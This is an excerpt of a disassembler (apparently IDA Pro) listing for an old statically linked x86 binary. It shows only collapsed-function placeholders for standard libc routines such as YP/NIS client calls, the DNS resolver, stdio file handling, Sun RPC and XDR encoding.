; [0000046F BYTES: COLLAPSED FUNCTION ___yp_dobind. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000031 BYTES: COLLAPSED FUNCTION sub_805D2F4. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000012 BYTES: COLLAPSED FUNCTION _yp_bind.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000006A BYTES: COLLAPSED FUNCTION _yp_unbind. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000250 BYTES: COLLAPSED FUNCTION _yp_match. PRESS KEYPAD "+" TO EXPAND]
; [0000003F BYTES: COLLAPSED FUNCTION _yp_get_default_domain. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000001DC BYTES: COLLAPSED FUNCTION _yp_first. PRESS KEYPAD "+" TO EXPAND]
; [000001FC BYTES: COLLAPSED FUNCTION _yp_next.	PRESS KEYPAD "+" TO EXPAND]
; [00000143 BYTES: COLLAPSED FUNCTION _yp_all. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000011B BYTES: COLLAPSED FUNCTION _yp_order. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000136 BYTES: COLLAPSED FUNCTION _yp_master. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [000000F3 BYTES: COLLAPSED FUNCTION _yp_maplist. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000141 BYTES: COLLAPSED FUNCTION _yperr_string. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000C5 BYTES: COLLAPSED FUNCTION _ypprot_err. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000067 BYTES: COLLAPSED FUNCTION ___yp_check. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000002EC BYTES: COLLAPSED FUNCTION _catopen.	PRESS KEYPAD "+" TO EXPAND]
; [000000D0 BYTES: COLLAPSED FUNCTION _MCGetSet. PRESS KEYPAD "+" TO EXPAND]
; [000000B6 BYTES: COLLAPSED FUNCTION _MCGetMsg. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000033 BYTES: COLLAPSED FUNCTION _catgets.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000086 BYTES: COLLAPSED FUNCTION _catclose. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000202 BYTES: COLLAPSED FUNCTION sub_805E640. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000010E BYTES: COLLAPSED FUNCTION sub_805E844. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000002D BYTES: COLLAPSED FUNCTION _libc_nls_init. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000031 BYTES: COLLAPSED FUNCTION _inet_ntoa. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [000004E9 BYTES: COLLAPSED FUNCTION sub_805E9B8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000109 BYTES: COLLAPSED FUNCTION sub_805EEA4. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000001A8 BYTES: COLLAPSED FUNCTION sub_805EFB0. PRESS KEYPAD	"+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION ___p_query. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [0000006B BYTES: COLLAPSED FUNCTION ___fp_resstat. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000494 BYTES: COLLAPSED FUNCTION ___fp_nquery. PRESS KEYPAD "+" TO	EXPAND]
; [00000019 BYTES: COLLAPSED FUNCTION ___fp_query. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000081 BYTES: COLLAPSED FUNCTION ___p_cdnname. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000001D BYTES: COLLAPSED FUNCTION ___p_cdname. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000B3 BYTES: COLLAPSED FUNCTION ___p_fqname. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000081D BYTES: COLLAPSED FUNCTION ___p_rr. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [000005C9 BYTES: COLLAPSED FUNCTION ___p_type. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000005D BYTES: COLLAPSED FUNCTION ___p_class. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000149 BYTES: COLLAPSED FUNCTION ___p_option. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000014B BYTES: COLLAPSED FUNCTION ___p_time. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000220 BYTES: COLLAPSED FUNCTION _res_mkquery. PRESS KEYPAD "+" TO	EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION sub_8060AE8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000C2 BYTES: COLLAPSED FUNCTION _inet_nsap_addr. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000014B BYTES: COLLAPSED FUNCTION _inet_nsap_ntoa. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000001D BYTES: COLLAPSED FUNCTION __IO_file_init. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000096 BYTES: COLLAPSED FUNCTION __IO_file_close_it. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000042 BYTES: COLLAPSED FUNCTION __IO_file_finish.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000ED BYTES: COLLAPSED FUNCTION __IO_file_fopen. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000004D BYTES: COLLAPSED FUNCTION __IO_file_attach.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000045 BYTES: COLLAPSED FUNCTION __IO_file_setbuf.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000C3 BYTES: COLLAPSED FUNCTION __IO_do_write. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000AA BYTES: COLLAPSED FUNCTION __IO_file_underflow. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000F6 BYTES: COLLAPSED FUNCTION __IO_file_overflow. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000066 BYTES: COLLAPSED FUNCTION __IO_file_sync. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000214 BYTES: COLLAPSED FUNCTION __IO_file_seekoff. PRESS KEYPAD "+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __IO_file_read. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000001B BYTES: COLLAPSED FUNCTION __IO_file_seek. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000019 BYTES: COLLAPSED FUNCTION __IO_file_stat. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000013 BYTES: COLLAPSED FUNCTION __IO_file_close. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000054 BYTES: COLLAPSED FUNCTION __IO_file_write. PRESS KEYPAD "+"	TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION __IO_file_xsputn.	PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __IO_un_link. PRESS KEYPAD "+" TO	EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __IO_link_in. PRESS KEYPAD "+" TO	EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION __IO_least_marker. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION __IO_switch_to_main_get_area. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000002E BYTES: COLLAPSED FUNCTION __IO_switch_to_backup_area. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000067 BYTES: COLLAPSED FUNCTION __IO_switch_to_get_mode. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000003B BYTES: COLLAPSED FUNCTION __IO_free_backup_area. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000017 BYTES: COLLAPSED FUNCTION ___overflow. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000145 BYTES: COLLAPSED FUNCTION sub_8061928. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000007B BYTES: COLLAPSED FUNCTION ___underflow. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000007F BYTES: COLLAPSED FUNCTION ___uflow.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000049 BYTES: COLLAPSED FUNCTION __IO_setb. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003A BYTES: COLLAPSED FUNCTION __IO_doallocbuf. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000000C BYTES: COLLAPSED FUNCTION __IO_default_underflow. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __IO_default_uflow. PRESS	KEYPAD "+" TO EXPAND]
; [00000100 BYTES: COLLAPSED FUNCTION __IO_default_xsputn. PRESS KEYPAD	"+" TO EXPAND]
; [0000001F BYTES: COLLAPSED FUNCTION __IO_sgetn. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [000000E9 BYTES: COLLAPSED FUNCTION __IO_default_xsgetn. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000009 BYTES: COLLAPSED FUNCTION __IO_sync. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000082 BYTES: COLLAPSED FUNCTION __IO_default_setbuf. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000021 BYTES: COLLAPSED FUNCTION __IO_default_seekpos. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000048 BYTES: COLLAPSED FUNCTION __IO_default_doallocate. PRESS KEYPAD "+"	TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION __IO_init. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000009 BYTES: COLLAPSED FUNCTION __IO_default_sync. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000006F BYTES: COLLAPSED FUNCTION __IO_default_finish. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000000C BYTES: COLLAPSED FUNCTION __IO_default_seekoff. PRESS KEYPAD "+" TO	EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __IO_sputbackc. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000036 BYTES: COLLAPSED FUNCTION __IO_sungetc. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000016 BYTES: COLLAPSED FUNCTION __IO_set_column. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000008A BYTES: COLLAPSED FUNCTION __IO_adjust_column. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000032 BYTES: COLLAPSED FUNCTION __IO_get_column. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000046 BYTES: COLLAPSED FUNCTION __IO_flush_all. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000032 BYTES: COLLAPSED FUNCTION __IO_flush_all_linebuffered. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000033 BYTES: COLLAPSED FUNCTION __IO_unbuffer_all. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000011 BYTES: COLLAPSED FUNCTION __IO_cleanup. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000042 BYTES: COLLAPSED FUNCTION __IO_init_marker.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002B BYTES: COLLAPSED FUNCTION __IO_remove_marker. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000015 BYTES: COLLAPSED FUNCTION __IO_marker_difference. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000042 BYTES: COLLAPSED FUNCTION __IO_marker_delta. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000050 BYTES: COLLAPSED FUNCTION __IO_seekmark. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __IO_unsave_markers. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000002C BYTES: COLLAPSED FUNCTION __IO_nobackup_pbackfail. PRESS KEYPAD "+"	TO EXPAND]
; [000000E5 BYTES: COLLAPSED FUNCTION __IO_default_pbackfail. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000000C BYTES: COLLAPSED FUNCTION __IO_default_seek. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __IO_default_stat. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __IO_default_read. PRESS KEYPAD "+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION __IO_default_write. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000062 BYTES: COLLAPSED FUNCTION __IO_fputs. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [000000A5 BYTES: COLLAPSED FUNCTION __IO_padn. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000A0 BYTES: COLLAPSED FUNCTION __IO_perror. PRESS KEYPAD	"+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION __IO_seekoff. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000004A BYTES: COLLAPSED FUNCTION __IO_setbuffer. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000171 BYTES: COLLAPSED FUNCTION __itoa. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000020 BYTES: COLLAPSED FUNCTION _snprintf. PRESS KEYPAD "+" TO EXPAND]
; [0000004D BYTES: COLLAPSED FUNCTION _vsnprintf. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000048 BYTES: COLLAPSED FUNCTION sub_80628F8. PRESS KEYPAD	"+" TO EXPAND]
; [00000359 BYTES: COLLAPSED FUNCTION sub_8062940. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION sub_8062C9C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000002F BYTES: COLLAPSED FUNCTION sub_8062CC8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000051 BYTES: COLLAPSED FUNCTION sub_8062CF8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000900 BYTES: COLLAPSED FUNCTION _setlocale. PRESS	KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION _gsignal.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000024 BYTES: COLLAPSED FUNCTION sub_8063664. PRESS KEYPAD	"+" TO EXPAND]
; [0000020A BYTES: COLLAPSED FUNCTION _clnt_sperror. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000024 BYTES: COLLAPSED FUNCTION _clnt_perror. PRESS KEYPAD "+" TO	EXPAND]
; [00000080 BYTES: COLLAPSED FUNCTION _clnt_sperrno. PRESS KEYPAD "+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION _clnt_perrno. PRESS KEYPAD "+" TO	EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION _clnt_spcreateerror. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000020 BYTES: COLLAPSED FUNCTION _clnt_pcreateerror. PRESS	KEYPAD "+" TO EXPAND]
; [0000008E BYTES: COLLAPSED FUNCTION sub_8063A74. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000021C BYTES: COLLAPSED FUNCTION _clnttcp_create. PRESS KEYPAD "+"	TO EXPAND]
; [0000023F BYTES: COLLAPSED FUNCTION sub_8063D20. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000021 BYTES: COLLAPSED FUNCTION sub_8063F60. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000025 BYTES: COLLAPSED FUNCTION sub_8063F84. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000007 BYTES: COLLAPSED FUNCTION sub_8063FAC. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000078 BYTES: COLLAPSED FUNCTION sub_8063FB4. PRESS KEYPAD	"+" TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION sub_806402C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000FF BYTES: COLLAPSED FUNCTION sub_8064074. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000051 BYTES: COLLAPSED FUNCTION sub_8064174. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000238 BYTES: COLLAPSED FUNCTION _clntudp_bufcreate. PRESS	KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION _clntudp_create. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000044B BYTES: COLLAPSED FUNCTION sub_8064438. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000021 BYTES: COLLAPSED FUNCTION sub_8064884. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000025 BYTES: COLLAPSED FUNCTION sub_80648A8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000007 BYTES: COLLAPSED FUNCTION sub_80648D0. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000A0 BYTES: COLLAPSED FUNCTION sub_80648D8. PRESS KEYPAD	"+" TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION sub_8064978. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000001F BYTES: COLLAPSED FUNCTION __rpc_dtablesize.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000E6 BYTES: COLLAPSED FUNCTION _pmap_getport. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000053 BYTES: COLLAPSED FUNCTION _xdr_pmap. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003C BYTES: COLLAPSED FUNCTION _xdr_opaque_auth.	PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION _xdr_des_block. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000076 BYTES: COLLAPSED FUNCTION _xdr_accepted_reply. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000005F BYTES: COLLAPSED FUNCTION _xdr_rejected_reply. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000053 BYTES: COLLAPSED FUNCTION _xdr_replymsg. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000077 BYTES: COLLAPSED FUNCTION _xdr_callhdr. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000008C BYTES: COLLAPSED FUNCTION sub_8064D14. PRESS KEYPAD	"+" TO EXPAND]
; [00000040 BYTES: COLLAPSED FUNCTION sub_8064DA0. PRESS KEYPAD	"+" TO EXPAND]
; [00000091 BYTES: COLLAPSED FUNCTION __seterr_reply. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000001E BYTES: COLLAPSED FUNCTION _xdr_free. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000000C BYTES: COLLAPSED FUNCTION _xdr_void. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION _xdr_int.	PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION _xdr_u_int. PRESS	KEYPAD "+" TO EXPAND]
; [00000045 BYTES: COLLAPSED FUNCTION _xdr_long. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000045 BYTES: COLLAPSED FUNCTION _xdr_u_long. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000061 BYTES: COLLAPSED FUNCTION _xdr_short. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000061 BYTES: COLLAPSED FUNCTION _xdr_u_short. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000039 BYTES: COLLAPSED FUNCTION _xdr_char. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000039 BYTES: COLLAPSED FUNCTION _xdr_u_char. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000071 BYTES: COLLAPSED FUNCTION _xdr_bool. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000014 BYTES: COLLAPSED FUNCTION _xdr_enum. PRESS KEYPAD "+" TO EXPAND]
; [00000097 BYTES: COLLAPSED FUNCTION _xdr_opaque. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000C4 BYTES: COLLAPSED FUNCTION _xdr_bytes. PRESS	KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION _xdr_netobj. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000066 BYTES: COLLAPSED FUNCTION _xdr_union. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [000000DC BYTES: COLLAPSED FUNCTION _xdr_string. PRESS KEYPAD	"+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION _xdr_wrapstring. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000029 BYTES: COLLAPSED FUNCTION _xdrmem_create. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000007 BYTES: COLLAPSED FUNCTION sub_8065434. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000036 BYTES: COLLAPSED FUNCTION sub_806543C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000036 BYTES: COLLAPSED FUNCTION sub_8065474. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000003B BYTES: COLLAPSED FUNCTION sub_80654AC. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000003B BYTES: COLLAPSED FUNCTION sub_80654E8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000012 BYTES: COLLAPSED FUNCTION sub_8065524. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000002E BYTES: COLLAPSED FUNCTION sub_8065538. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000001F BYTES: COLLAPSED FUNCTION sub_8065568. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000067 BYTES: COLLAPSED FUNCTION sub_8065588. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000043 BYTES: COLLAPSED FUNCTION sub_80655F0. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000063 BYTES: COLLAPSED FUNCTION sub_8065634. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000004D BYTES: COLLAPSED FUNCTION sub_8065698. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000004A BYTES: COLLAPSED FUNCTION sub_80656E8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000019 BYTES: COLLAPSED FUNCTION sub_8065734. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000F8 BYTES: COLLAPSED FUNCTION _xdrrec_create. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION sub_8065848. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000005C BYTES: COLLAPSED FUNCTION sub_80658B4. PRESS KEYPAD	"+" TO EXPAND]
; [0000006B BYTES: COLLAPSED FUNCTION sub_8065910. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000006F BYTES: COLLAPSED FUNCTION sub_806597C. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000054 BYTES: COLLAPSED FUNCTION sub_80659EC. PRESS KEYPAD	"+" TO EXPAND]
; [00000078 BYTES: COLLAPSED FUNCTION sub_8065A40. PRESS KEYPAD	"+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION sub_8065AB8. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000020 BYTES: COLLAPSED FUNCTION sub_8065B0C. PRESS KEYPAD	"+" TO EXPAND]
; [0000005B BYTES: COLLAPSED FUNCTION _xdrrec_skiprecord. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [0000005C BYTES: COLLAPSED FUNCTION _xdrrec_eof. PRESS KEYPAD	"+" TO EXPAND]
; [00000061 BYTES: COLLAPSED FUNCTION _xdrrec_endofrecord. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000000C BYTES: COLLAPSED FUNCTION ___getdtablesize.	PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___sigsetmask. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000067 BYTES: COLLAPSED FUNCTION _getdomainname. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000061 BYTES: COLLAPSED FUNCTION wrapper_mmap. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000003A BYTES: COLLAPSED FUNCTION __xstat. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000003A BYTES: COLLAPSED FUNCTION __fxstat.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000017 BYTES: COLLAPSED FUNCTION ___default_morecore. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000003A BYTES: COLLAPSED FUNCTION ___default_morecore_init.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000002D5 BYTES: COLLAPSED FUNCTION ___readv.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002F BYTES: COLLAPSED FUNCTION ___fcntl.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002F BYTES: COLLAPSED FUNCTION ___libc_lseek. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002C BYTES: COLLAPSED FUNCTION ___libc_munmap. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION ___libc_syscall_readv. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000038 BYTES: COLLAPSED FUNCTION ___libc_mremap. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbrk. PRESS KEYPAD "+"	TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION ___init_brk. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000003D BYTES: COLLAPSED FUNCTION _bzero. PRESS KEYPAD "+" TO EXPAND]
	  align	8
; [000000C5 BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
	  align	10h
; [0000009E BYTES: COLLAPSED FUNCTION ___mpn_add_n. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000042 BYTES: COLLAPSED FUNCTION ___mpn_addmul_1. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000002A BYTES: COLLAPSED FUNCTION _xdr_domainname. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000026 BYTES: COLLAPSED FUNCTION _xdr_mapname. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000002A BYTES: COLLAPSED FUNCTION _xdr_peername. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000002E BYTES: COLLAPSED FUNCTION _xdr_datum. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [0000004F BYTES: COLLAPSED FUNCTION _xdr_ypreq_key. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003B BYTES: COLLAPSED FUNCTION _xdr_ypreq_nokey.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [0000003B BYTES: COLLAPSED FUNCTION _xdr_ypresp_val. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [0000004B BYTES: COLLAPSED FUNCTION _xdr_ypresp_key_val. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [0000003B BYTES: COLLAPSED FUNCTION _xdr_ypresp_master. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [0000003B BYTES: COLLAPSED FUNCTION _xdr_ypresp_order. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000046 BYTES: COLLAPSED FUNCTION _xdr_ypresp_all. PRESS KEYPAD "+"	TO EXPAND]
	  align	4
; [00000026 BYTES: COLLAPSED FUNCTION _xdr_ypmaplist_str. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000043 BYTES: COLLAPSED FUNCTION _xdr_ypmaplist. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000043 BYTES: COLLAPSED FUNCTION _xdr_ypresp_maplist. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000026 BYTES: COLLAPSED FUNCTION _xdr_ypbind_resptype. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [0000003F BYTES: COLLAPSED FUNCTION _xdr_ypbind_binding. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000056 BYTES: COLLAPSED FUNCTION _xdr_ypbind_resp.	PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000053 BYTES: COLLAPSED FUNCTION _xdr_ypbind_setdom. PRESS	KEYPAD "+" TO EXPAND]
	  align	4
; [00000151 BYTES: COLLAPSED FUNCTION _xdr_ypresp_all_seq. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [00000026 BYTES: COLLAPSED FUNCTION _xdr_yp_inaddr. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [00000026 BYTES: COLLAPSED FUNCTION _xdr_ypstat. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
; [000000CB BYTES: COLLAPSED FUNCTION _bindresvport. PRESS KEYPAD "+" TO EXPAND]
	  align	4
; [000000A6 BYTES: COLLAPSED FUNCTION __IO_file_doallocate. PRESS KEYPAD "+" TO	EXPAND]
	  align	4
; [00000037 BYTES: COLLAPSED FUNCTION __nl_postload_ctype. PRESS KEYPAD	"+" TO EXPAND]
	  align	4
